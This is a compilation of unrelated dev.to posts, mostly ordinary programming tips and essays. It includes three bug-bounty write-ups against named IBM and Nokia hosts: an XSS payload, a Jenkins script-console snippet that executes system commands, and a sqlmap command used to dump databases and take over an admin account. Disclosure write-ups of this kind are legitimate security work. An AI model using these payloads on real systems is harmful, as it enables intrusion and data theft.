teleren/devto huggingface dataset:
The proper way to arrange cutlery
Tags: style, productivity, prioritization
Published: 2021-06-05 07:32:25

---
title: The proper way to arrange cutlery
published: true
date: 2021-06-03 00:00:00 UTC
tags: style,productivity,prioritization
canonical_url: https://jhall.io/archive/2021/06/03/the-proper-way-to-arrange-cutlery/
---

About a year ago our dishwasher quit working, so we ordered a new one online. The new model has a handy cutlery rack at the top of the machine, where you can easily lay forks, knives, spoons, and other small kitchen utenils, such that they are much more likely to be cleaned than in the “cup” style cutlery holder we had in our old dishwasher.

We also have a cleaner who comes once a week to help around the house. And most weeks, she ends up loading the dishwasher.

But she does it **ALL WRONG**!

 ![](https://jhall.io/archive/images/cutlery.jpg)

She just haphazardly drops the silverware in, facing any which direction, knives mixed with spoons mixed with forks. And all this despite the (not so) clear red labels indicating the knife, spoon, and fork sections of the rack. It’s such an inefficient use of space!

But you know what?

The cutlery gets clean anyway.

And we practically never fill the dishwasher to capacity, so who cares about space efficiency?

In the last year I’ve learned to stop caring about the orderly arrangement of my cutlery rack. I’ve also become less of a pedant about typos in code comments, formatting of YAML files, and other minutiae (even when objectively wrong) that don’t really affect anything. In short: The dishwasher has helped me learn to focus on things that actually matter.

Then again, last week my wife asked _me_ to be more orderly in loading the cutlery rack of the dishwasher, so maybe I’ve gone too far?

* * *
_If you enjoyed this message, [subscribe](https://jhall.io/daily) to <u>The Daily Commit</u> to get future messages to your inbox._
Placeholder Templatetags Django
Tags: django, python, jinja
Published: 2021-10-05 19:55:53

---
title: Placeholder Templatetags Django
published: true
date: 2021-06-03 00:00:00 UTC
tags: django, python, jinja
canonical_url: https://tech.serhatteker.com/post/2021-06/placeholder-templatetags/
---

Sometimes I just want to add a `placeholder` to a *form field*.

Yes, I can use a `form widget` like below:

```python
from django import forms
from django.utils.translation import gettext_lazy as _


class AddKeysForm(forms.ModelForm):
    ...
    label = forms.CharField(widget=forms.TextInput(attrs={"placeholder": _("Label")}))
    ...
```

However sometimes it's over-engineering for only one html *attribute* and also it's good to have a *simple* way to create `placeholder` in *html*.

Here is how to make a *templatetag* which lets you add the html `placeholder` attribute to your form field inputs and textareas in a Django/Jinja html template.

```python
# someproject/someapp/templatetags/placeholder.py
from django import template

register = template.Library()


@register.filter(name="placeholder")
def placeholder(value, token):
    """ Add placeholder attribute, esp. for form inputs and textareas """
    value.field.widget.attrs["placeholder"] = token
    return value
```

And you can implement it in your templates like below:

```jinja
<!-- someproject/someapp/templates/someform.py -->
{% for field in form %}
  <div class="form-group">
    <div class="text-left alert-danger">
      {{ field.errors }}
    </div>
    {{ field|placeholder:"Label" }}
  </div>
{% endfor %}
```


All done!
Github from scratch
Tags: git, github, pr
Published: 2021-06-02 17:46:57

---
title: Github from scratch
published: true
description: A simple guide to git and Github 
tags: git, github, PR
cover_image: 
canonical_url: https://alanmynah.com/blog/github
---

This is a cheat-sheet to go along with [the stream I did on Scrimba YouTube channel about git and GitHub](https://www.youtube.com/watch?v=DF_vp2kE2WY).

<!-- more -->

I've recently gone on a Scrimba Livestream to talk about git and Github. I love simple workflows with git and this is my cheat-sheet to use. Feel free to hit me up on twitter or Scrimba Discord if you have any questions. Also if you spot something not right, raise a PR 😉. (Details below)

## Contributing to a repo

Pick a repo, fork it (optional) and clone it.

Alternatively, [create a new one](##Creating-a-repo).

```sh
# replace the below URL with the repo in your account that you want to work with
git clone https://github.com/alanmynah/alanmynahdotcom.git
```

Then just follow [Branching steps](##Branching)

## Branching

```sh
# create a new branch and switch to it
git checkout -b new-branch
# connect the local new branch to the remote counter part
git push --set-upstream origin new-branch
```

Now follow the steps in [My daily workflow](##My-daily-workflow)

## My daily workflow

```sh
# add all the files
git add .
# commit
# tips on helpful commit messages:
# https://www.freecodecamp.org/news/writing-good-commit-messages-a-practical-guide/
git commit -m "type: brief description (<50 chars) of work done"
# push
git push
```

After a few commits, raise a PR.

When done, don't forget to [Pull after a PR](##Pull-after-a-PR)

## Pull after a PR

```sh
git status # should be on the branch
git checkout main
git pull
```

Then pick a new feature and create new branch as described in [Branching section](##Branching)

## Creating a repo

Create a repository locally (like via CRA), go to [github.com](https://github.com/), create a repository via UI.

Copy and paste the steps from the outline in `…or push an existing repository from the command line`.

These are the steps:

```sh
create-react-app my-blog
# these are pasted from `…or push an existing repository from the command line` section when new repo is created.
git remote add origin https://github.com/alanmynah/my-blog.git
git branch -M main
git push -u origin main
```
Adding YouTube Support to WP Featherlight Plugin
Tags: wordpress, youtube, lightbox, plugins
Published: 2021-06-02 23:20:29

Heya everyone,

I wrote a new article that demo's a recent plugin modification I did. I modified WP Featherlight to support YouTube lightbox links. So, if you want to have an image link to a YouTube video instead of a larger version of yourself, you can just by changing the image link URL.

https://www.inboundnow.com/adding-youtube-support-to-wp-featherlight/
Changed lines of code by language in GitHub pull request
Tags: github
Published: 2021-06-02 23:03:28

Keeping pull requests small is generally a good idea, and often checking the number of changed lines is the first step in code review.

Unfortunately, keeping the number of changed lines small is not always feasible. For a few lines of an actual program changes you may need to supply a large body of mocked data, generated code, documentation changes, tests and other resources.

For example you have received a PR for review.
![alt text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gq1vyaowdsb8q60rxc0f.png)
Looks pretty big at glance.

A breakdown of changes into several groups may help to get a better understanding of the scope of the changes.

![alt text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/css8c7r1erxy2qs4rqyf.png)
 
And then you can see that most of the changes in this PR are generated Go code, which may be reviewed with less caution.

Such a comment can be added to a PR using GitHub Action and a [small tool](https://github.com/vearutop/sccdiff) built on top of an awesome [`scc`](https://github.com/boyter/scc).

```yaml
name: cloc
on:
  pull_request:

# Cancel the workflow in progress in newer build is about to start.
concurrency:
  group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}
  cancel-in-progress: true

jobs:
  cloc:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2
        with:
          path: pr
      - name: Checkout base code
        uses: actions/checkout@v2
        with:
          ref: ${{ github.event.pull_request.base.sha }}
          path: base
      - name: Count Lines Of Code
        id: loc
        run: |
          curl -sLO https://github.com/vearutop/sccdiff/releases/download/v1.0.3/linux_amd64.tar.gz && tar xf linux_amd64.tar.gz
          sccdiff_hash=$(git hash-object ./sccdiff)
          [ "$sccdiff_hash" == "ae8a07b687bd3dba60861584efe724351aa7ff63" ] || (echo "::error::unexpected hash for sccdiff, possible tampering: $sccdiff_hash" && exit 1)
          OUTPUT=$(cd pr && ../sccdiff -basedir ../base)
          echo "${OUTPUT}"
          OUTPUT="${OUTPUT//$'\n'/%0A}"
          echo "::set-output name=diff::$OUTPUT"

      - name: Comment Code Lines
        continue-on-error: true
        uses: marocchino/sticky-pull-request-comment@v2
        with:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          header: LOC
          message: |
            ### Lines Of Code

            ${{ steps.loc.outputs.diff }}
```
Reflected XSS by jsonp on ibm.com subdomain
Tags: security, jsonp, xss, bugbounty
Published: 2021-06-02 22:43:57

hi :D 
this my write up about my bug I've found on ibm.com, first I get URLs from web.archive.org on ibm.com by using waybackurls tool and I got this URL `https://www-356.ibm.com/partnerworld/wps/servlet/pwdyn/pw/rss/rsstojson.jsp?ccdb=no&rssurl=https://www-2000.ibm.com/file.xml&_=1596170198353`
this endpoint include XML file via `rssurl` parameter and covert the content from XML to jsonp
<img src='https://1.bp.blogspot.com/-7Dz0qMUTtE0/X5bYy8O2QfI/AAAAAAAAEYw/gioHZXy_lps0DyITLNrJhQFlaCXmV-GHwCLcBGAsYHQ/s1600/Screenshot_at_2020-08-09_18-52-24.png'>

but in headers, `content-type: text/html`, this allowed to execute HTML tags in this page , so I've created an XML file with XSS payload and upload it on my website https://knassar702.github.io/xss.xml
and add the link of the file in `rssurl` parameter

```xml
<html>
        <head></head>
        <body>
                <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
                <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(2)</a:script>
                <info>
                  <name>
                    <value><![CDATA[<img src=x onerror=confirm(document.domain)>]]></value>
                  </name>
                    <description>
                      <value>Hello</value>
                    </description>
                    <url>
                      <value>http://google.com</value>
                    </url>
                </info>
        </body>
</html>
```

<img src='https://1.bp.blogspot.com/-BHQh_JQb0Uc/X5bZv80_nnI/AAAAAAAAEY8/hn-Ok2MGjcca4ixkIZpeUgQ1kqCYH5OvwCLcBGAsYHQ/s1600/Screenshot_at_2020-08-09_18-54-51.png'>

Done :D
Remote Code Execution on ibm.com subdomain
Tags: security, rce, bugbounty, jenkins
Published: 2021-06-02 22:42:11


i've found Jenkins on acc11-blr-dev-01.sl1694431.sl.edst.ibm.com does not require authentication for access dashboard

<img src='https://github.com/knassar702/knassar702.github.io/blob/master/images/ibm.png?raw=true'>


### what can i do with this .?
***
everything , add/delete `admin accounts`,`service`,`configuration`,`etc ..`

<img src='https://github.com/knassar702/knassar702.github.io/blob/master/images/ibm4.png?raw=true'>

but the intersing path is `/script` , you can write Jenkins script 
so you can write script for execute system commands

```java
def command = "YOUR_COMMAND"
def proc = command.execute()
proc.waitFor()
println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"
```
<img src='https://github.com/knassar702/knassar702.github.io/blob/master/images/ibm7.png?raw=true'>


Thanks
SQL inection on gdclive.nokia.com
Tags: security, nokia, bugbounty, sqli
Published: 2021-06-02 22:39:09

Hi, this blog about SQL Injection in Nokia.com Allowed me to Dump all database

### Full POC :

when I'm visiting this domain gdclive.nokia.com I've found something

First: this domain has been used an old version of Joomla CMS

let's scan it using the joomscan tool for dumping all pieces of information about Joomla (plugins, version, etc..)

All results :
```
Joomla Version: 3.1
Plugins: JCK Editor (6.4.4)
```
searching for JCK Editor in exploit-db.com
and I've found this exploit https://www.exploit-db.com/exploits/45423
let's exploit it :D

<img src='https://1.bp.blogspot.com/-LgYxMfeJKhs/Xscwx2tKONI/AAAAAAAAEMs/HJ5I5jgXFv8ExESVK3bm0Mk2hpQWbDiagCK4BGAsYHg/nokiasql.png'>

Worked ..!
you can see the version of the database :D

this is the time of SQLMAP Tool

<img src='https://1.bp.blogspot.com/-ab46BpK-smI/XscxAQOmJ7I/AAAAAAAAEM4/SmsR9X4vGKUDxJttE5KqF6nwhdH_nPgIwCK4BGAsYHg/sqlmap-sqlmap-everywhere.jpg'>

```bash
$ sqlmap -u 'https://gdclive.nokia.com/plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent=' --level=5 --risk=3 --random-agent --technique=U -p parent --batch --current-db --current-user
```
<img src='https://1.bp.blogspot.com/-IbBm5REMsIk/XscwNZ7ixwI/AAAAAAAAEMM/0ggiZ2zzOnstGv_qYIm6NOJG1FOzIcRtQCK4BGAsYHg/sql1.png'>

you can see the current user and the name of the database :)
After dumping all databases using the `--all` option and unencrypt the password of the admin account let's login in admin panel

<img src='https://1.bp.blogspot.com/-87ctqF3EmDM/XscxFpvVAhI/AAAAAAAAENE/Cgi-Kfnjxco0cND_FONrVmsOWySdiu_SQCK4BGAsYHg/cp.jpg'>
PWNED :D

You can see this <a href='https://drive.google.com/file/d/1bajARVMgUHBcN7FPCtRA_Bc7-SX656x4/view?usp=sharing'>video</a> about this bug

<img src='https://1.bp.blogspot.com/-JdAGAWLC5yA/XscxTfP79KI/AAAAAAAAENc/rQY_TFPpBuMSjb5fhP36B9O6nrndFtSjgCK4BGAsYHg/nokia_rep.png'>

Thanks ;0
Jaringan 6G?
Published: 2021-06-02 22:22:12

Dikutip dari Gizchina, Sabtu, Cina telah membentuk dua kelompok kerja untuk mengembangkan penelitian pada 6G. Salah satu kelompok terdiri dari beberapa eksekutif dari kementerian sektor terkait yang bertanggung jawab untuk mendukung upaya kelompok kedua, yang murni teknis.

Kelompok kedua terdiri atas 37 ahli dari universitas, lembaga penelitian dan perusahaan teknologi

Riset dan pengembangan ini masih pada tahap awal, mengingat 5G masih dalam masa pertumbuhan. Namun, untuk mengembangkan jaringan internet generasi baru dibutuhkan sekitar 10 tahun. Teknologi 6G direncanakan untuk diperkenalkan pada 2030

https://kuyakepo.blogspot.com
A React multi-step form
Tags: showdev, react, html, typescript
Published: 2021-06-02 22:15:06

There's a ton of HTML multi-step form examples out there: see https://csshint.com/multi-step-html-forms/ for instance. So why create another one? Simply put, I couldn't find a form that satisfied my two main requirements:

1) Responsive. The form should look good on a phone, a desktop, and everything in between. It's 2021 and most web traffic now goes  through mobile devices, so making your pages responsive should be a top priority.
2) It should be easy to change the number of steps, and the form should look good and stay responsive regardless of how many steps you have.

I was also looking for the following:
3) You choose be able to choose an icon to represent each step.
4) Clicking on a step indicator should navigate to that step.

Here's what I came up with:

{% codesandbox multi-step-form-uyy5l %}

The labels will disappear when there isn't enough horizontal space for them, but the form isn't smart enough to figure out the perfect breakpoint on its own: you'll have to manually specify that value in multi-step-nav.css. 

Why add next and previous buttons in each step instead of reusing the same buttons everywhere? Doing it like this actually helps with the tabbing behavior: if you've tabbed to a next/previous button and press Enter, tabbing again will move you to the top of the new section, instead of tabbing out of the form towards the bottom of the document.

There's one accessibility feature I couldn't seem to figure out, however. When using NVDA (the most popular desktop screen reader according to the latest [WebAIM survey](https://webaim.org/projects/screenreadersurvey8/)) in browse mode, using the down arrow after pressing the Next or Previous button won't start reading at the top of the newly selected section. Anyone out there know how to fix this? 🙂

*Cover photo by [Kelly Sikkema on Unsplash](https://unsplash.com/photos/tQQ4BwN_UFs)*
How to Keep Configuration Secrets out of a Django Project
Tags: django, python, security, deployment
Published: 2021-06-02 21:58:55

It is best practice to hide your configuration details and not include them in version control for the sake of security and independence of project instance. Getting straight to the point here is how to do it using python decouple library.  

#Quick Summary#
1. Install decouple pip install python-decouple or [https://pypi.org/project/python-decouple/].
2. Create file named .env or .ini under the route of your project.
3. Add ignore for .env if you are using git.
4. Retrieve the settings by importing decouple into the settings.py file and replacing variables to hide with config.
5 . Test the application



#Detailed Steps#

This is how our initial exposed settings.py looks like before exclusion.

```python
import os

BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
SECRET_KEY = '3izb^ryglmyscret_key_here'
DEBUG = True
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql_psycopg2',
        'NAME': 'HELLO_DJANGO',
        'USER': 'TINO',
        'PASSWORD': 'thepasswordhere',
        'HOST': '127.0.0.1',
        'PORT': '0000',
    }
}
```

##1. Installing decouple##
run ```pip install python-decouple``` or if you prefer downloading [https://pypi.org/project/python-decouple/]

##2. Create .env file ##
Add variables to hide or exclude by copying values from settings.py making sure you do not include quotes("").

```python
SECRET_KEY=3izb^ryglmyscret_key_here
DEBUG=True
DB_NAME=HELLO_DJANGO
DB_USER=TINO
DB_PASSWORD=thepasswordhere
DB_HOST=127.0.0.1
```
##3. Ignoring .env from version control(git)##
Go into your gitignore file and add .env as below

```python
# Environments
.env 

```
This will make sure our file with variables is not tracked by the source control.

##4. Retrieve the settings or values on variables set in the .env file ##

Import config from decouple as below and reference variables as strings


```python
from decouple import config
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
SECRET_KEY = config('SECRET_KEY')
DEBUG = config('DEBUG', cast=bool) #NB casting here for boolean
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql_psycopg2',
        'NAME': config('DB_NAME'),
        'USER': config('DB_USER'),
        'PASSWORD': config('DB_PASSWORD'),
        'HOST': config('DB_HOST'),
        'PORT': '',
    }
}
```


Please Note: On non string values we need to cast to the type e.g ```DEBUG = ('DEBUG', cast=bool)``` as DEBUG expects boolean True or False


##5. Test to see if your application still run the same##
Execute ```py manage.py runserver``` to make sure your application still run smoothly.


I have tried to go straight to the point for easier implementation. My motivation to write this down was the struggle I had to find similar information which is helpful. Feel free to suggest different implementations or suggestions. 

Happy Coding!!!
Day 379 : Understand
Tags: hiphop, code, coding, lifelongdev
Published: 2021-06-02 21:54:33

_liner notes_:
- Professional : Had a couple of meetings. Helped a little on a Community question. Looked to get some clarification on something to make sure I understand it properly for the blog I'm writing. Also put together a "Developer Journey" to help a team understand how I would use a couple of SDKs together. Pretty cool. Funny things is that I already made a demo application that did it. haha So I just wrote about what I did.

- Personal : So, I did a bunch of research into figuring out how to get it so that when a person clicks the notification, it will go to the website. Think I may have found a solution and implemented it, but it was kind of late and I went to sleep.

![Overhead shot of a forest of green pine trees right next to bright blue water ](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lec20xcglsj53b664v31.jpg)

My plan is to check to see if the code I added for the push notifications will open the website when clicked. After that, I want to make the date on the front page pull from the database now that I have that set up. Right now, it's hard coded. Then maybe start working on the live streaming section. I'm definitely going to push the date back maybe a couple of weeks. I also want to get the application pointed to the real URL I purchased. Back to coding.

Have a great night!

peace piece
Dwane / conshus
https://dwane.io / https://HIPHOPandCODE.com
{% youtube NhPeM1X8nr0 %}
Box Selection - Visual Studio
Tags: beginners, todayilearned, tutorial, csharp
Published: 2021-06-02 20:54:56

Edit multiple lines of code at the same time

## Tip 1: Box Selection

Let’s take an example of the following class with integer properties and apply box selection to update int to, let's say, double at one shot.
```
    public class Test {
     int x = 10;
     int y = 20;
     int z = 30;
     int l = 40;
    }
```
### **Shortcut Key: “Shift + Alt + down arrow (to select multiple rows).”**

![Isn’t it great..!!](https://cdn-images-1.medium.com/max/2162/1*-dA8_1_m-TmlZFEN9uj0Qw.gif)

So the box selection works with all types of file extensions like “.cs” or “.html,” etc., in Visual Studio.

### Example: “.html” file

![](https://cdn-images-1.medium.com/max/2000/1*7lwKp_xEL-gGuBn1ITkFFA.gif)

## Tip 2: Convert excel sheet data into class objects

Let's take an example of the following excel data

![](https://cdn-images-1.medium.com/max/2000/1*b_vkHYWcpUo9xCGoJZZqag.png)

Firstly, implement a class with columns.
```
    public class Excel{
     public string Name;
     public string Age;
     public string City;
    }
```
### Live Demonstration

Utilize box selection to convert excel data into class objects. I find it useful for developers.

![](https://cdn-images-1.medium.com/max/2162/1*AQ7gMfnHX0IWVYFMFUz5yg.gif)

### Advantages

* It saves a lot of time.

* Better than copy-paste.

* Hence it is more productive.

* Works with all file extensions.

Thank you for reading, and I hope you liked the article. Please provide your feedback in the comment section.

## Follow me on

[C# Publication](https://medium.com/c-sharp-progarmming), [LinkedIn](https://www.linkedin.com/in/sukhpinder-singh-532284a2/), [Instagram](https://www.instagram.com/sukhpindersukh/), [Twitter](https://twitter.com/sukhsukhpinder), [Dev.to](https://dev.to/ssukhpinder), [Pinterest](https://in.pinterest.com/ssukhpinder/_created/), [Substack](https://sukhpinder.substack.com/), [Wix](https://www.csharp-dotnet.com/).